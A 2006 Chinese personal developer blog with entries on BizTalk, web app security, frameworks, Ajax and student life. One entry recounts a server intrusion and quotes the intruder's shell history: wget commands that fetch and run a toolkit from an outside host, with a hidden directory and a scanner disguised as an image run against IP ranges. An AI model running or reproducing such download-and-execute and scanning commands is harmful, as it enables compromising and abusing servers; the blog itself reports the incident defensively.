IUSR’s Unnamed Seraph Reloaded

January 30, 2006

唉,麦克柔扫夫特

Filed under: 活着 — iusr @ 9:53 am
接着就要做和Microsoft BizTalk Server 2004有关的开发了,最近抽空看了看微软方面的文档,MSDN里的,比较详细,而且微软一如既往地拿出自己的看家本事,把BizTalk Server 2004开发所用到的项目、文件等模板扔到Visual Studio .NET 2003里了,schema、map、两种pipeline etc.全可视化开发了。
企业开发到底需要什么?分布式?稳定性?扩展性?还是缩短发布、更新的周期?以原先做.Net的一点微薄的经验看来,分布式在.Net里不知道现在已经到了什么程度了,稳定性和扩展性应该还是Java好一些,RAD方面就没有Java说话的份儿了。如果不是往VS.NET里扔了那么多模板etc.的东西,而是自己老老实实地做schema和其他的东西,开发周期肯定会指数级增加。
Java世界有老UNIX时代的很多优点,比如重视代码质量,重视架构,等等,eclipse以无限扩展的能力压制了JBuilder那一大堆visual的可以用来RAD的东西,Java世界还有多少可以拿来RAD的东西?更别提很多还都是很局部的。微软那边,恨不得连代码编写都visual了,用VS.NET 2003做C#应用时,我一边自责自己的懒惰,一边惭愧自己思想上的松懈,同时也欣然于开发速度的提升。
我的天。

January 22, 2006

当个合格的webapp developer真是越来越不易了

Filed under: 活着 — iusr @ 3:44 am
俗话说,隔行如隔山,到了计算机这行就更夸张了,外人也许不明白,都是搞计算机的,怎么差别就那么大呢?搞computer.software的不懂computer.hardware的还好理解,不过搞computer.software.develop.*的不懂computer.software.security.*的在外人看来实在有些丢人,实际上呢,谁有那个工夫
买了本好久不买了的《黑客防线》,翻了翻,发现现在的主流入侵方法(或者说,破坏方法)俨然已经是SQL注入了,各种文章也越来越流于介绍NBSI、HDSI等等工具的使用方法,看了几篇文章,貌似除了穿插的截图不太一样,其他的都大致相同,跟一本使用手册一样。还有的人认为JSP+Oracle就不会或者很难被注入,实际上大家都明白,纯粹的字符串拼接逻辑才是SQL注入的温床。
随着各种webapp爆发式地推出,webapp自身的安全越来越不容忽视了。以前我也鼓捣过SQL注入,那时的目的还是想以这种入侵方法作为辅助,以拿到root或者Administrators组权限为最终目的,而现在,能打掉一个论坛、一个CMS就已经是高手了,而且确实,这些webapp的价值对于网站所有者而言有时超过服务器系统的价值:服务器OS可以重装,但数据或者代码的损失可是不可估量的。更有甚者,已经出现了靠webapp或者数据向受害一方勒索钱财的案例。一代不如一代。
看来觉得web层逻辑随便找个新手来搞的观念要改一改了,不只要精通html+javascript做客户端验证,服务器端的验证一样很重要,还要明白图形验证码这样的需要两端验证的方法,而且不只是过滤字符串那么简单,还要涉及sql、hql、jdoql等等查询语言的语法验证etc.,大概熟悉antlr势在必行了。
我以往的观点是除非系统的管理员权限失守,否则其他的入侵不算本事,赫赫,很单纯的从技术方面的考量。现在不行了,负责一些的话就要考虑自己参与的webapp上线后要真正为客户创造价值,而不是创造麻烦。
有时间要检查一下我们用的一个web层组件的代码了,如果丫也是搞字符串拼接的话(而且很可能就是这么搞的),那除了几个hard code在配置文件里的的用于显示固定栏目内容的查询,其他的……
各位webapp developer同行也要注意了,不能抱着防君子不防小人的想法来对待安全问题了,因为在互联网上你不知道对方是个小人。

January 21, 2006

遭遇intruder

Filed under: 活着 — iusr @ 4:52 pm
给root那么弱一个密码,我一直担心迟早会出事,今天果然应验了我的乌鸦嘴。
自从网站上线,我就没早睡过,一直ssh着,隔一段时间检查一下登录记录、who一下什么的,好在一直还都没什么异常。今天也不例外,在网站主机上一直挂着,结果晚上嘴馋吃点儿好吃的,几分钟后再回来发现已经断开了,重新ssh过去就发现密码已经被改了,比较狠,我们常用的两个账号的密码都改了(几乎也是系统里唯二给人用的账号),好在我还有其他的方法,赫赫,把这个入侵者赶了出去,然后改了密码。查了一下几个账号的.bash_history,有几句比较好玩:
cd /var/tmp ; wget fear.uv.ro/linux.tgz ; tar zxvf linux.tgz ; rm -rf linux.tgz ; cd "..   " ; ./bash
w
passwd
passwd
passwd
cd /var/tmp ; wget fear.uv.ro/linux.tgz ; tar zxvf linux.tgz ; rm -rf linux.tgz ; cd "..   " ; ./bash
cat /proc/cpuinfo
cd
wget sssh.go.ro/scaner/nk.jpg
tar xzvf nk.jpg
rm -rf nk.jpg
cd nk
./start 66.33
./start 200.192
./start 200.193
熟悉的人们应该马上猜到了这个大哥都干了什么了。让我比较担心的是系统好像被重启了一次,所以怀疑装了其他后门,有时间再说了,好在外面有防火墙主机,只开了几个端口。
这位入侵者当时的ip是82.77.136.226,再看看他下载工具的两个网站的域名,估计应该真的是罗马尼亚的客人吧。
前后一共也就一刻钟的时间,也许没什么时间做些其他破坏?感觉起来还是比较菜的类型,可能就为了扩大入侵战果,拿我们可怜的服务器做根据地扫描其他主机罢了。但愿~
好久不干这些,果然不行,赫赫,脑子里空白了近一分钟才行动

January 17, 2006

Hoho~得奖了~

Filed under: 活着 — iusr @ 5:12 am

博和利科技之星”,恩,很不错的名字,不知道的人还以为是“科技之星”了,赫赫~

被公司认可的感觉很不错。

虚拟主机终于OK,就加上了东家的链接。搞不懂Jboss下的虚拟主机到底要怎么搞,配置完一切OK,过些天突然出问题,重启都不管用,然后突然又OK,任何配置都没改过算了,服务器也不是公司自己的,不折腾了。

January 16, 2006

远交近攻?信任危机?

Filed under: 我来补充两句儿 — iusr @ 2:49 am

PS:以一个Javaer的视角。

《程序员》2006年一月刊有篇晴天有雨的《程序员的臭毛病》,里面有一条被认为是臭毛病的东西叫做“远交近攻”,听起来很有趣,大意是国内编程的人们倾向于BS和自己在同领域进行研究的同行,倾向于BS国内的同行,而喜欢和国外的开发者交流——无论那些老外水平究竟怎么样——并引以为豪。

我也经常和国外的开发者交流,直接email,mailing list,新闻组,IRC,抑或论坛,不过我觉得表面看来这些只能说明我的英语还说得过去,如果就这么引以为豪就太媚外了。老外也有很多菜鸟,有很多还是菜的不行那种,不过好在态度都还不错,大多不会不懂装懂,或者不懂还牛气烘烘的。

说“远交近攻”有点儿把程序员看得过于有城府了些。很多时候进到中文BBS、论坛,总是觉得不太舒服,“提问的智慧”之类的文章估计是没人愿意看,所以重复和提问前不经大脑的问题太多;有的回复也带着明显的鄙视口气,谅谁都不会舒服;文章之间有时也许还穿插着几条小广告。在这样的地方转一分钟比看一小时英文文档还累。相比之下国外这些地方清洁得多,当然垃圾还是有的。

有时我比较不习惯一些帖子的主题,比如“弱智问题请教”这样的,我是不敢承认自己是弱智的,否则还怎么混啊,所以还是默不作声当做没看见好了;还有“求做简单小程序,报酬xxx元”,刚看到还以为有人送钱来呢,还是“简单小程序”,点开正文一看,哇噻,难道发帖人以为现在是公元3xxx年,计算机AI已经超过人类智能了?

交流是一方面,另一方面应该是国内开发气氛的匮乏。我们的开源项目还是有的,精彩的也不少,不止Java一个领域。不过看看平日用的框架,web层的Tapestry、WebWork、Struts都是国外的,IoC容器的Spring、PicoContainer、Excalibur Fortress那些也是国外的,AOP更是几乎全被国外项目/产品垄断。这种情形应该是国内很多同行所痛心疾首的,所以一个个号称匹敌Struts、Spring的框架纷纷上马,大打民族主义旗号,号召同胞使用,让我忽而感觉像是在八国联军侵华的年代,硝烟弥漫,但是同样热血沸腾。不过在安静地检视这些框架时,我就觉得如果我们用这些框架来武装自己,无异于义和团拿冷兵器和红毛们的枪炮火拼。比创新比不过Tapestry、WebWork,比full-stack又比不过Spring(在看了这么久Spring 1.x的代码以后我觉得Spring并没有做太多革命性的东西),只能比比喊口号了。

在一个个代表中国这个、代表中国那个的框架虎头蛇尾或偃旗息鼓后,对同胞同行失去信任是自然的。也许有人会拿cathayan的“爱玩不玩”的逻辑来说我:你丫不一起玩就别废话。是啊,我一贯认为像我这样的小角色是不配去搞个什么代表中国的这个那个的框架的。

January 12, 2006

局部小规模Ajax会不会让人觉得很怪?

Filed under: Uncategorized — iusr @ 5:56 am

用了个很拗口的定语来表达我的这种描述:用Ajax做一种操作很简单的功能,比如对某个东西的添加、删除、修改。

用了script.aculo.us的Ajax.InPlaceEditor完成修改,添加和删除是普通的Ajax.Request,又搞了很多JavaScript来保证业务数据的有效性,不过很多人看了感觉,恩,不像个“真正的”管理后台。我ft…

似乎很多人都习惯了提交->等待->返回这套routine,表单一提交,就开始伸长了脖子等,等待下一个页面刷地出现时的那个激动人心的时刻,不管这个页面是告诉你操作成功还是告诉你哪个字段忘了填。如果局部使用了Ajax,好像会让这些人奇怪:“哎?我的请求究竟有没有被提交出去呢?”除非大规模使用Ajax,大部分操作都使用Ajax完成,用户也就习惯了。还有就是提示性的信息一定要及时、清晰和醒目,这方面Rico.Corner.round()可以很好地完成。

不过还是不太舒服,难道小范围地使用Ajax用来完成一些类似表单提交的功能真的会让人感觉有些怪?Auto-Complete除外,这个东西我认为不涉及“真正”的数据“提交”。

想起一句话:QJ也是能产生感情的…

January 7, 2006

终于……

Filed under: Uncategorized — iusr @ 5:22 am

天津大学计算机科学技术学院成立了,希望在今后的教育中学院也能拿自己的学生们当搞计算机的人来培养。

真是高兴,也许我能赶上吧,哈哈~

January 5, 2006

回了趟学校

Filed under: 活着 — iusr @ 3:37 am
主要是找导师冯老师拿一些BizTalk的资料,我以为得是光盘之类的了,也没找别人借U盘,搞到最后白跑一趟。
但是在学校里转了转,敢情也没白跑。风很大,吹在脸上很冷,骑在安静的学校里面,更让我怀念那些没好好珍惜过的时光。有些后悔没有好好学习,怎么说呢,也许也不是后悔吧。一直以来就很希望能把自己掌握的东西在实践中使用出来,而学校的生活给我的感觉就像是一直在索取但没有贡献,很呆板。后来听到社会上的声音,评论大学生眼高手低什么的,自己听到了也不太服气。出来了才知道,社会需要的其实都是体力劳动者,能完成任务就okay那种。前几天秋JJ给我转发了封信,提到了“造飞机”和“做裤子”的比喻,说得倒很对,大学生是要去造飞机的,不能一窝蜂都去做裤子,可现在,无奈的同龄人学的是造飞机的本事,可学校在考试时觉得我们会做裤子当个裁缝也就够了,要求放低了,大部分人也乐得轻松,都改行当裁缝算了。出了学校,当了几个月想造飞机的裁缝我算是明白了,这太扯淡了。我倒真想回到学校做做研究,虽然“研究”这个词放我身上有些不挨边儿似的,因为缝裤子实在是太无聊了,只有长短肥瘦可言,料子和外观都是人家事先讲好的。当然,在社会上混的也能从裁缝混到飞机工程师,但总感觉拿出那么多年青春来换这个,不太值得。

Blog at WordPress.com.